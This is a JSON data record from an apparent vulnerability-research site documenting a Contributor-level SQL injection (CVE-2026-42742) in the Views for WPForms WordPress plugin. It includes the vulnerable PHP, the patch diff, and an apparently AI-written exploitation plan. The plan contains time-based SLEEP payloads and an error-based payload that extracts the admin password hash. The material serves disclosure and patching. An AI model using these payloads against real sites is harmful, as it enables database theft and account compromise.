[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJPyaZeZqEsv6j5iHgUWVuswPDfmlBCGgCtIR4vpB2OM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-42742","views-for-wpforms-display-edit-wpforms-entries-on-your-site-frontend-authenticated-contributor-sql-injection","Views for WPForms – Display & Edit WPForms Entries on your site frontend \u003C= 3.4.6 - Authenticated (Contributor+) SQL Injection","The Views for WPForms – Display & Edit WPForms Entries on your site frontend plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.4.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","views-for-wpforms-lite",null,"\u003C=3.4.6","3.4.7","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-28 00:00:00","2026-06-01 16:07:15",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fed2290ea-b567-487f-92b0-3a718e1ce496?source=api-prod",5,[22,23,24,25,26],"inc\u002Fadmin\u002Fclass-wpforms-views-posttype.php","inc\u002Fclass-wpforms-views-shortcode.php","inc\u002Fhelpers.php","readme.txt","wpforms-views.php","researched",false,3,"This research plan outlines the steps to exploit a SQL Injection vulnerability in the \"Views for WPForms\" plugin.\n\n### 1. Vulnerability Summary\nThe **Views for WPForms** plugin (up to 3.4.6) is vulnerable to a time-based or error-based SQL Injection via the sorting parameters stored in a View's settings. Specifically, the `$field_id` and `$direction` parameters are concatenated directly into a raw SQL query within the `wpforms_views_get_submissions` function without sufficient sanitization or preparation using `$wpdb->prepare()`.\n\nSince Contributors can create and edit their own \"Views\" (`wpforms-views` post type), they can inject malicious SQL payloads into the `view_settings` metadata. When this View is rendered via its shortcode (e.g., on a post or page), the payload is executed.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Sink**: `inc\u002Fhelpers.php` inside `wpforms_views_get_submissions()` at the lines:\n    ```php\n    $sql_query .= \" AND f.field_id = {$field_id}\n                  GROUP BY e.entry_id\n                  ORDER BY f.value {$direction}\n                  LIMIT {$offset},{$limit}\";\n    ```\n*   **Vulnerable Parameters**: `$field_id` (from `$sort['field_id']`) and `$direction` (from `$sort['direction']`).\n*   **Authentication**: Required (Contributor+).\n*   **Preconditions**: \n    1.  The WPForms plugin must be installed (as the plugin relies on `wpforms()` function).\n    2.  At least one WPForms form must exist.\n    3.  A `wpforms-views` post must be created with a malicious `view_settings` JSON object.\n\n### 3. Code Flow\n1.  **Entry Point**: A user views a page containing the `[wpforms-views id=\"XX\"]` shortcode.\n2.  **Shortcode Handling**: `WPForms_Views_Shortcode::shortcode()` in `inc\u002Fclass-wpforms-views-shortcode.php` is triggered.\n3.  **Settings Loading**: The function retrieves JSON settings from post meta:\n    `get_post_meta( $view_id, 'view_settings', true )`.\n4.  **View Processing**: `get_view( $view_settings )` is called.\n5.  **Sort Argument Building**: The code iterates through `viewSettings->sort` and populates `$args['sort_order']` with `field_id` and `direction`.\n6.  **Vulnerable Sink**: `wpforms_views_get_submissions( $args )` in `inc\u002Fhelpers.php` is called. \n7.  **Injection**: If `field_id` is a custom field ID (not `submission_id` or `entryDate`), the code enters the `else` block (around line 105) and appends the unescaped parameters to `$sql_query`.\n\n### 4. Nonce Acquisition Strategy\nTo create a View and save its settings as a Contributor:\n1.  **Create View**: Use the AJAX action `wpf-views-create` (inferred from `wpforms_views_admin_scripts` in `wpforms-views.php`).\n2.  **Acquire Nonce**:\n    *   Navigate to `\u002Fwp-admin\u002Fedit.php?post_type=wpforms-views`.\n    *   Use `browser_eval` to extract the nonce: `window.wpf_views_admin?.create_nonce`.\n3.  **Save Settings**: The plugin uses a React app to save. This likely uses a REST API endpoint or a specific AJAX action like `wpf_views_save_settings`.\n    *   *Note*: Since we are a Contributor, we can also try updating the post meta `view_settings` directly via the WordPress REST API for posts if enabled: `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fwpforms-views\u002F{id}`.\n\n### 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload in the `direction` parameter.\n\n#### Step 1: Create a View\nPerform an AJAX request to create a new View post.\n*   **Action**: `wpf-views-create`\n*   **Nonce**: Extracted from `wpf_views_admin.create_nonce`\n*   **URL**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n\n#### Step 2: Update View Settings\nInject the payload into the `view_settings` meta. The `direction` field will contain the SLEEP command.\n*   **Payload JSON**:\n    ```json\n    {\n      \"formId\": \"1\",\n      \"viewType\": \"table\",\n      \"sections\": {\"beforeloop\": {\"rows\": []}, \"loop\": {\"rows\": [\"row_1\"]}, \"afterloop\": {\"rows\": []}},\n      \"rows\": {\"row_1\": {\"cols\": [\"col_1\"]}},\n      \"columns\": {\"col_1\": {\"size\": \"1\", \"fields\": [\"1\"]}},\n      \"viewSettings\": {\n        \"multipleentries\": {\"perPage\": \"10\"},\n        \"sort\": [{\n          \"field\": \"1\",\n          \"value\": \"ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)\"\n        }]\n      }\n    }\n    ```\n*   **Method**: Use the plugin's save AJAX action (likely `wpforms_views_save_settings`) or the REST API.\n\n#### Step 3: Trigger Injection\n1.  Create a public post\u002Fpage containing `[wpforms-views id=\"\u003CNEW_ID>\"]`.\n2.  Request that page using `http_request`.\n3.  Measure the response time.\n\n### 6. Test Data Setup\n1.  **Install WPForms**: `wp plugin install wpforms-lite --activate`\n2.  **Create a Form**: `wp eval \"wpforms()->form->add('Test Form');\"` (or via UI).\n3.  **Create a Contributor User**: `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n\n### 7. Expected Results\n*   The HTTP request to the page containing the shortcode should take **at least 5 seconds** to return.\n*   The SQL query logged (if debugging is on) will show:\n    `... ORDER BY f.value ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) LIMIT 0,10`\n\n### 8. Verification Steps\n1.  **Check Meta**: Use WP-CLI to verify the payload is stored correctly:\n    `wp post meta get \u003CVIEW_ID> view_settings`\n2.  **Confirm Execution**: Observe the `last_query` in the `$wpdb` global or use a MySQL general log to see the executed SLEEP command.\n\n### 9. Alternative Approaches\n*   **Field ID Injection**: If `direction` is somehow restricted, inject into `field_id`.\n    *   Payload: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **Error-Based SQLi**: If `WP_DEBUG` is true, use `updatexml()` or `extractvalue()` to leak the database version or admin password hashes.\n    *   Payload for `direction`: `ASC, (select 1 from(select updatexml(1,concat(0x7e,(select user_pass from wp_users where id=1)),1))a)`","The Views for WPForms plugin is vulnerable to authenticated SQL Injection due to the improper handling of sorting parameters in the `wpforms_views_get_submissions` function. Attackers with Contributor-level permissions can inject malicious SQL payloads into the View's settings, which are executed when the View is rendered via a shortcode, allowing for the extraction of sensitive database information.","\u002F\u002F inc\u002Fhelpers.php (approx. lines 65-125 in version 3.4.6)\nforeach ( $args['sort_order'] as $sort ) {\n    $field_id  = $sort['field_id'];\n    $direction = $sort['direction'];\n    \u002F\u002F ... [Logic for standard fields] ...\n    } else {\n        \u002F\u002F For custom fields in the non-filter case, we need to use a custom query\n        \u002F\u002F This is a simple implementation for the lite version\n        $entry_table        = WPForms_Views_Common::get_entry_table_name();\n        $entry_fields_table = WPForms_Views_Common::get_entry_fields_table_name();\n\n        $limit   = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25;\n        $offset  = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0;\n        $form_id = absint( $args['form_id'] );\n\n        $sql_query = \"SELECT e.* FROM {$entry_table} e\n                      LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id\n                      WHERE e.form_id = {$form_id}\n                      AND e.status != 'trash'\n                      AND e.status != 'partial'\";\n\n        if ( ! empty( $entries_args['entry_id'] ) ) {\n            $entry_id   = absint( $entries_args['entry_id'] );\n            $sql_query .= \" AND e.entry_id = {$entry_id}\";\n        }\n\n        $sql_query .= \" AND f.field_id = {$field_id}\n                      GROUP BY e.entry_id\n                      ORDER BY f.value {$direction}\n                      LIMIT {$offset},{$limit}\";\n\n        $results = $wpdb->get_results( $sql_query );","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.6\u002Finc\u002Fadmin\u002Fclass-wpforms-views-posttype.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.7\u002Finc\u002Fadmin\u002Fclass-wpforms-views-posttype.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.6\u002Finc\u002Fadmin\u002Fclass-wpforms-views-posttype.php\t2026-03-11 16:00:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.7\u002Finc\u002Fadmin\u002Fclass-wpforms-views-posttype.php\t2026-05-08 12:41:06.000000000 +0000\n@@ -43,7 +43,9 @@\n \t\t\t'query_var'          => true,\n \t\t\t'rewrite'            => array( 'slug' => 'views-for-wpforms-lite' ),\n-\t\t\t'capability_type'    => 'post',\n+\t\t\t'capability_type'     => 'page',\n+\t\t\t'map_meta_cap'        => true,\n \t\t\t'has_archive'         => false,\n \t\t\t'menu_icon'\t\t => 'dashicons-format-gallery',\n \t\t\t'hierarchical'       => false,\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.6\u002Finc\u002Fhelpers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.7\u002Finc\u002Fhelpers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.6\u002Finc\u002Fhelpers.php\t2026-03-11 16:00:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-wpforms-lite\u002F3.4.7\u002Finc\u002Fhelpers.php\t2026-05-08 12:41:06.000000000 +0000\n@@ -63,8 +63,13 @@\n \t\u002F\u002F Add order by parameters\n \tif ( ! empty( $args['sort_order'] ) ) {\n \t\tforeach ( $args['sort_order'] as $sort ) {\n-\t\t\t$field_id  = $sort['field_id'];\n-\t\t\t$direction = $sort['direction'];\n+\t\t\t$field_id  = isset( $sort['field_id'] ) ? $sort['field_id'] : '';\n+\t\t\t$direction = isset( $sort['direction'] ) && 'DESC' === strtoupper( $sort['direction'] ) ? 'DESC' : 'ASC';\n+\n+\t\t\tif ( empty( $field_id ) && '0' !== $field_id ) {\n+\t\t\t\tcontinue;\n+\t\t\t}\n+\n \t\t\tif ( in_array( $field_id, array( 'submission_id', 'entryId', 'entryid' ) ) ) {\n \t\t\t\t$entries_args['order']   = $direction;\n \t\t\t\t$entries_args['orderby'] = 'entry_id';\n@@ -76,43 +81,56 @@\n \t\t\t\t\u002F\u002F This is a simple implementation for the lite version\n \t\t\t\t$entry_table        = WPForms_Views_Common::get_entry_table_name();\n \t\t\t\t$entry_fields_table = WPForms_Views_Common::get_entry_fields_table_name();\n+\t\t\t\t$field_id           = absint( $field_id );\n \n-\t\t\t\t$limit   = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25;\n-\t\t\t\t$offset  = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0;\n-\t\t\t\t$form_id = absint( $args['form_id'] );\n+\t\t\t\tif ( empty( $field_id ) ) {\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n \n-\t\t\t\t$sql_query = \"SELECT e.* FROM {$entry_table} e\n+\t\t\t\t$limit    = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25;\n+\t\t\t\t$offset   = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0;\n+\t\t\t\t$form_id  = absint( $args['form_id'] );\n+\t\t\t\t$entry_id = ! empty( $entries_args['entry_id'] ) ? absint( $entries_args['entry_id'] ) : 0;\n+\n+\t\t\t\t$sql_query  = \"SELECT e.* FROM {$entry_table} e\n                               LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id\n-                              WHERE e.form_id = {$form_id}\n-                              AND e.status != 'trash'\n-                              AND e.status != 'partial'\";\n-\n-\t\t\t\tif ( ! empty( $entries_args['entry_id'] ) ) {\n-\t\t\t\t\t$entry_id   = absint( $entries_args['entry_id'] );\n-\t\t\t\t\t$sql_query .= \" AND e.entry_id = {$entry_id}\";\n+\t\t\t\t              WHERE e.form_id = %d\n+\t\t\t\t              AND e.status != %s\n+\t\t\t\t              AND e.status != %s\";\n+\t\t\t\t$sql_params = array( $form_id, 'trash', 'partial' );\n+\n+\t\t\t\tif ( ! empty( $entry_id ) ) {\n+\t\t\t\t\t$sql_query   .= ' AND e.entry_id = %d';\n+\t\t\t\t\t$sql_params[] = $entry_id;\n \t\t\t\t}\n \n-\t\t\t\t$sql_query .= \" AND f.field_id = {$field_id}\n+\t\t\t\t$sql_query   .= \" AND f.field_id = %d\n                               GROUP BY e.entry_id\n                               ORDER BY f.value {$direction}\n-                              LIMIT {$offset},{$limit}\";\n+\t\t\t\t              LIMIT %d,%d\";\n+\t\t\t\t$sql_params[] = $field_id;\n+\t\t\t\t$sql_params[] = $offset;\n+\t\t\t\t$sql_params[] = $limit;\n \n-\t\t\t\t$results = $wpdb->get_results( $sql_query );\n+\t\t\t\t$results = $wpdb->get_results( $wpdb->prepare( $sql_query, $sql_params ) );\n \n \t\t\t\t\u002F\u002F Total entries count - simplified for lite version\n-\t\t\t\t$count_query = \"SELECT COUNT(DISTINCT e.entry_id) FROM {$entry_table} e\n+\t\t\t\t$count_query  = \"SELECT COUNT(DISTINCT e.entry_id) FROM {$entry_table} e\n                                LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id\n-                               WHERE e.form_id = {$form_id}\n-                               AND e.status != 'trash'\n-                               AND e.status != 'partial'\";\n-\n-\t\t\t\tif ( ! empty( $entries_args['entry_id'] ) ) {\n-\t\t\t\t\t$count_query .= \" AND e.entry_id = {$entry_id}\";\n+\t\t\t\t               WHERE e.form_id = %d\n+\t\t\t\t               AND e.status != %s\n+\t\t\t\t               AND e.status != %s\";\n+\t\t\t\t$count_params = array( $form_id, 'trash', 'partial' );\n+\n+\t\t\t\tif ( ! empty( $entry_id ) ) {\n+\t\t\t\t\t$count_query   .= ' AND e.entry_id = %d';\n+\t\t\t\t\t$count_params[] = $entry_id;\n \t\t\t\t}\n \n-\t\t\t\t$count_query .= \" AND f.field_id = {$field_id}\";\n+\t\t\t\t$count_query   .= ' AND f.field_id = %d';\n+\t\t\t\t$count_params[] = $field_id;\n \n-\t\t\t\t$total_entries_count = $wpdb->get_var( $count_query );\n+\t\t\t\t$total_entries_count = $wpdb->get_var( $wpdb->prepare( $count_query, $count_params ) );\n \n \t\t\t\t$submissions['total_count'] = $total_entries_count;","The exploit requires an attacker with Contributor-level access to the WordPress admin panel. \n\n1. **Payload Preparation**: The attacker creates a new 'WPForms View' post. During the creation or subsequent editing of this View, the attacker provides a malicious JSON configuration for the `view_settings` post meta. \n2. **Injection Point**: The payload is embedded within the `sort` array of the `viewSettings` JSON object. Specifically, the attacker injects SQL commands into the `value` field (which corresponds to the SQL `direction` parameter) or the `field` key (which corresponds to `field_id`). \n3. **Payload Construction**: A typical payload would use a time-based blind injection (e.g., `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)`) or an error-based injection technique to leak data.\n4. **Execution**: The attacker places the shortcode for the malicious View (e.g., `[wpforms-views id=\"123\"]`) on a public-facing post or page. When any user (including the attacker) visits that page, the plugin retrieves the malicious settings and concatenates the payload directly into the SQL query executed in `wpforms_views_get_submissions`.","gemini-3-flash-preview","2026-06-04 16:13:08","2026-06-04 16:14:03",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.4.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fviews-for-wpforms-lite\u002Ftags\u002F3.4.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fviews-for-wpforms-lite.3.4.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fviews-for-wpforms-lite\u002Ftags\u002F3.4.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fviews-for-wpforms-lite.3.4.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fviews-for-wpforms-lite\u002Ftags"]